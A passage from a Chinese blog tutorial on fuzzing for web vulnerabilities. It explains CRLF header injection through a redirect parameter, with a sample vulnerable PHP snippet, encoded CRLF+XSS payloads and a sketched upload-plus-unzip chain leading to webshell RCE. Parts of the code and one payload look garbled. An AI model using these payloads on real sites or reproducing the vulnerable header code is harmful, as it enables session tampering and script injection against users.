主页 > 网络知识 > 谈高效漏洞挖掘之Fuzzing的艺术(4)

谈高效漏洞挖掘之Fuzzing的艺术(4)

 

1574431569568

 

 

1574431518002

 

转入URL跳转测试

 

1574431730099

 

 

1574431772440

 

结束了么?没有,那么是否还存在其他利用方式呢?

往下测试之前,我们先来看看URL跳转以及CRLF的原理.

插叙

CRLF 指的是回车符(CR,ASCII 13, ,%0d) 和换行符(LF,ASCII 10, ,%0a)。

正常的一个请求

GET api/xxxx/?url=http://www.xxc.com Host:qclover.cn User-Agent:xxxxx ... Referer:http:qclover.cn Cookie:xxxxxxxxxx ...

抓包,在请求行的url参数中加入特殊构造的CRLF字符 如下

GET api/xxxx/?url=http://www.xxc.com%0d%0aSet-Cookie:vuale=crlf HTTP/1.1 Host:qclover.cn User-Agent:xxxxx ... Referer:http:qclover.cn Cookie:xxxxxxxxxx ...

输出

HTTP/1.1 302 Found ... Location: Set-Cookie:vuale=crlf Content-Length:0 Content-Type:text/html

这样一个CRLF对应的服务端的代码可能是这样子的

if(isset($_GET["url"])&&($_cookie["security_level"]!="1"&&$_COOKIE["security_level"]!="2")) { header("Location:".GET["url"]); exit; }

代码的意思是当条件满足时,将请求包中的url参数值拼接到Location字符串中,并设置成响应头发送给客户端。

假设存在CRLF漏洞,响应包此时应该 会出现如下情况

HTTP/1.1 302 Found ... Location:http://www.xxc.com%0d%0aSet-Cookie:vuale=crlf Content-Length:0 Content-Type:text/html

最终构造的Set-Cookie字符 会出现在HTTP头部的Cookie中且vuale=crlf会被设置成Cookie携带在Cookie中。 最终的数据包会如下:

GET api/xxxx/?url=http://www.xxc.com Host:qclover.cn User-Agent:xxxxx ... Referer:http:qclover.cn Cookie:xxxxxxxxxx;vuale=crlf ...

了解CRLF的服务端的代码原理后,可以知道本质还是在代码中的Location,这与url(302)跳转类似,因此在存在url跳转的情况下还可以尝试Fuzz,转为url跳转->CRLF->CRLF+XSS的利用

CRLF+XSS,payload可以更改为

GET /xxxx/redirect=http://www.xxc.com%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE ...

会变成->

GET /xxxx/redirect(CRLF) Host:qclover.cn content-type:text/html(CRLF) location:<svg/onload=alert(innerHTML)>

若同时存在url跳转,payload可以变换一下,CRLF+XSS

GET api/xxxx/?url=http://www.xxc.com%0d%0aSet-Cookie:%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE HTTP/1.1 Host:qclover.cn User-Agent:xxxxx ... Referer:http:qclover.cn Cookie:xxxxxxxxxx ...

那么<svg/onload=alert1>将会出现在cookie中。

六、黑盒测试中的漏洞利用链FUZZ

最后简单说下黑盒测试中的漏洞利用链的Fuzz思路

在白盒代码审计中存在者多种的漏洞利用POP链如TP5-6的POP链曾被大多数人所发掘分析。而在黑盒测试审计中其实也存在可以利用漏洞链的思想。如对于功能及其组件的测试、就单纯的代码审计的情况下比较难发现其漏洞,一个压缩包上传代码中严格限制了其文件类型但会回显其上传的路径、而 在另外一处备份恢复时首先会默认对其文件进行解压,若抓包中解压的路径可控,将两者组合利用就可进行木马上传和RCE。在fuzz中找各功能组件之间的关联性。

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!